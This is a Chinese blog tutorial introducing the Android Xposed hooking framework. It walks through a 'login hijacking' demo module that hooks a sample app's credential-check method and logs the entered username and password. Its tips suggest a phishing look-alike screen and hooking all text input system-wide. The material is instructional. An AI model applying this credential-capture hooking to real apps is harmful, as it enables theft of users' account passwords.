標籤:android 廣告 登陸劫持 hook xposed
如果想飛得高,就該把地平線忘掉。
前段時間寫了一篇有關於CydiaSubstrate的廣告注入的文章(地址:http://blog.csdn.net/yzzst/article/details/47318751),大家都直呼過癮。但是,真正瞭解這一方面的同學應該這道,其實還有一個比CydiaSubstrate更出名的工具:XPosed。
不是因為Xposed比CydiaSubstrate做的多好,而是Xposed是徹底開源的。今天,我們就向大家簡單的介紹一下Xposed,並書寫一個簡單的登陸劫持demo,讓大家快速的入門學習Xposed。
Xposed
Xposed架構是一款可以在不修改APK的情況下影響程式運行(修改系統)的架構服務,通過替換/system/bin/app_process程式控制zygote進程,使得app_process在啟動過程中會載入XposedBridge.jar這個jar包,從而完成對Zygote進程及其建立的Dalvik虛擬機器的劫持。
基於Xposed架構可以製作出許多功能強大的模組,且在功能不衝突的情況下同時運作。
此外,Xposed架構中的每一個庫還可以單獨下載使用,如Per APP Setting(為每個應用設定單獨的dpi或修改許可權)、Cydia、XPrivacy(防止隱私泄露)、BootManager(開啟自啟動程式管理應用)對原生Launcher替換表徵圖等應用或功能均基於此架構。
官網地址:http://repo.xposed.info/。
源碼地址:https://github.com/rovo89。
Xposed架構是基於一個Android的本地服務應用XposedInstaller與一個提供API 的jar檔案來完成的。
所以,安裝使用Xposed架構我們需要完成以下幾個步驟:
安裝本地服務XposedInstaller
需要安裝XposedInstall.apk本地服務應用,我們能夠在其官網的framework欄目中找到,下載並安裝。地址為:
http://repo.xposed.info/module/de.robv.android.xposed.installer
安裝好後進入XposedInstaller應用程式,會出現需要啟用架構的介面,8-5所示。這裡我們點擊“安裝/更新”就能完成架構的啟用了。部分裝置如果不支援直接寫入的話,可以選擇“安裝方式”,修改為在Recovery模式下自動安裝即可。
因為安裝時會存在需要Root許可權,安裝後會啟動Xposed的app_process,所以安裝過程中會存在裝置多次重新啟動。
TIPS:由於國內的部分ROM對Xposed不相容,如果安裝Xposed不成功的話,強制使用Recovery寫入可能會造成裝置反覆重啟而無法正常啟動。
下載使用API庫
其API庫XposedBridgeApi-.jar(version是XposedAPI的版本號碼,如我們這裡是XposedBridgeApi-54.jar)檔案,我們能夠在Xposed的官方支援xda論壇找到,其地址為:
http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067
下載完畢後我們需要將 Xposed Library 複製到 lib目錄(注意是 lib 目錄不是Android提供的 libs 目錄),然後將這個 jar 包添加到 Build PATH 中
如果直接將jar包放置到了libs目錄下,很可能會產生錯 誤“IllegalAccessError: Class ref in
pre-verified class resolved to unexpected
implementation”。
估計Xposed作者在其架構內部也引用了BridgeApi,這樣操作避免重複引用。
實戰,登陸劫持(原理)
之前跟大家也說過使用CydiaSubstrate進行廣告注入(地址:http://blog.csdn.net/yzzst/article/details/47318751),很多網友問我,就只能簡單的注入一個廣告,還能做什麼嗎?
登陸劫持!!!,你沒聽錯,今天我們這裡就簡單的示範一下,如何對一個應用程式的登陸功能進行劫持,並把帳號密碼列印出來。
如我們常見的登陸劫持,就是使用到了Hook技術來完成的。那麼這個登陸劫持是如何完成的呢?下面我們就具體來看看,一個我們在開發中常見到的登陸例子。首先我們看看一個常見的登陸介面是什麼樣子的。
其對應的登陸流程代碼如下所示:
// 登陸按鈕的onClick事件mLoginButton.setOnClickListener(new OnClickListener() { @Overridepublic void onClick(View v) { // 擷取使用者名稱 String username = mUserEditText.getText() + ""; // 擷取密碼 String password = mPasswordEditText.getText() + ""; if (isCorrectInfo(username, password)) { Toast.makeText(MainActivity.this, "登陸成功!", Toast.LENGTH_LONG).show(); } else { Toast.makeText(MainActivity.this, "登陸失敗!", Toast.LENGTH_LONG).show(); } }});
我們會發現,登陸介面上面的使用者資訊都是儲存在EditText控制項上,然後通過使用者手動點擊“登陸”按鈕才會將上面的資訊發送至伺服器端去驗證帳號與密碼是否正確。這樣就很簡單了,駭客們只需要找到開發人員在使用EditText控制項的getText方法後進行網路驗證的方法,Hook該方法,就能劫持到使用者的賬戶與密碼劫了。
TIPS:當然,我們也可以仿照上之前CydiaSubstrate的廣告注入例子(地址:http://blog.csdn.net/yzzst/article/details/47318751),做一個一模一樣的Activity,在劫持原Activity優先彈出來,達到欺騙使用者擷取密碼的目的。
具體流程如下:
實戰,登陸劫持(編碼)
明白了原理下面我們就實際的操作一次,這裡我們選擇使用Xposed架構來操作。使用Xposed進行Hook操作主要就是使用到了Xposed中的兩個比較重要的方法,handleLoadPackage擷取包載入時候的回調並拿到其對應的classLoader;findAndHookMethod對指定類的方法進行Hook。它們的詳細定義如下所示:
/** * 包載入時候的回調 */public void handleLoadPackage(final LoadPackageParam lpparam)/** * Xposed提供的Hook方法 * * @param className 待Hook的Class * @param classLoader classLoader * @param methodName 待Hook的Method * @param parameterTypesAndCallback hook回調 * @return */Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)
當然,我們使用Xposed進行Hook也分為如下幾個步驟:
1. 在AndroidManifest.xml檔案中配置外掛程式名稱與Api版本號碼
<application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <meta-data android:name="xposedmodule" android:value="true" /> <!-- 模組描述 --> <meta-data android:name="xposeddescription" android:value="一個登陸劫持的範例" /> <!-- 最低版本號碼 --> <meta-data android:name="xposedminversion" android:value="30" /></application>
2. 建立一個入口類並繼承並實現IXposedHookLoadPackage介面
如下操作,我們建立了一個com.example.loginhook.Main的類,並實現IXposedHookLoadPackage介面中的handleLoadPackage方法,將非com.example.login包名的應用過濾掉,即我們只操作包名為com.example.login的應用。如下所示:
public class Main implements IXposedHookLoadPackage { /** * 包載入時候的回調 */ public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { // 將包名不是 com.example.login 的應用剔除掉 if (!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); }}
3. 聲明主入口路徑
需要在assets檔案夾中建立一個xposed_init的檔案,並在其中聲明主入口類。如這裡我們的主入口類為com.example.loginhook.Main
4. 使用findAndHookMethod方法Hook劫持登陸資訊
這是最重要的一步,我們之前所分析的都需要到這一步進行操作。如我們之前所分析的登陸程式,我們需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我們使用Xposed提供的findAndHookMethod直接進行MethodHook操作(與Cydia很類似)。在其Hook回調中使用XposedBridge.log方法,將登陸的帳號密碼資訊列印至Xposed的日誌中。具體操作如下所示:
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;public class Main implements IXposedHookLoadPackage { /** * 包載入時候的回調 */ public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { // 將包名不是 com.example.login 的應用剔除掉 if (!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); // Hook MainActivity中的isCorrectInfo(String,String)方法 findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class, String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log("開始劫持了~"); XposedBridge.log("參數1 = " + param.args[0]); XposedBridge.log("參數2 = " + param.args[1]); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log("劫持結束了~"); XposedBridge.log("參數1 = " + param.args[0]); XposedBridge.log("參數2 = " + param.args[1]); } }); }}
5. 在XposedInstaller中啟動我們自訂的模組
編譯後安裝在Android裝置上的模組應用程式不會立即的生效,我們需要在XpasedInstaller模組選項中勾選待啟用的模組才能讓其正常的生效。如
6. 重啟驗證
重啟Android裝置,進入XposedInstaller查看日誌模組,因為我們之前使用的是XposedBridge.log方法列印log,所以log都會顯示在此處。我們發現我們需要劫持的帳號密碼都顯示再來此處。
TIPS:這裡我們是通過逆向分析該登陸頁面的登入判斷調用函數來完成Hook與劫持工作的。有些讀者應該想出來了,我們能不能直接Hook系統中提供給我們的控制項EditText(輸入框控制項)中的getText()方法進行Hook呢?這樣我們就能夠對系統中所有的輸入進行監控劫持了。這裡留給大家一個思考,感興趣的讀者可以嘗試一下。
最後,希望交流學習的,可以加一下我的個人,大家相互學習進步。
/*
* @author zhoushengtao(周聖韜)
* @since 2015年8月14 日 12:17:22
* @weixin stchou_zst
* @blog http://blog.csdn.net/yzzst
* @交流學習QQ群:341989536
* @私人QQ:445914891
/
著作權聲明:轉載請標註:http://blog.csdn.net/yzzst 。 本文為博主原創文章,未經博主允許不得轉載。
Android Hook神器——XPosed入門(登陸劫持示範)